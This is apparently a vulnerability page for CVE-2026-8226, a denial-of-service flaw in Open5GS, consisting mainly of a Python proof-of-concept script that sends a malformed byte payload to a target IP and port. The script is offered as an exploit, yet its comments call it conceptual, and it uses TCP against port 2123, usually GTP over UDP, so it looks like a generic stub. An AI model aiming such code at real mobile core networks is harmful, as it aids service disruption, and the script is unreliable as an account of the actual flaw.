CVE-2026-8226 Open5GS拒绝服务漏洞

import socket # PoC for CVE-2026-8226 # This script attempts to trigger the DoS in Open5GS by sending malformed data. # Note: Adjust the target IP and Port based on your environment. def send_exploit(target_ip, target_port): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Malformed payload targeting ogs_pcc_rule_install_flow_from_media # This is a conceptual representation. The actual packet structure # depends on the specific protocol (e.g., GTP, Diameter) used by the vulnerable function. payload = b"\x00\x00\x00\x01" + b"\x41" * 1000 s.send(payload) print("[+] Payload sent to %s:%d" % (target_ip, target_port)) s.close() except Exception as e: print("[-] Error: %s" % e) if __name__ == "__main__": # Example usage send_exploit("192.168.1.100", 2123)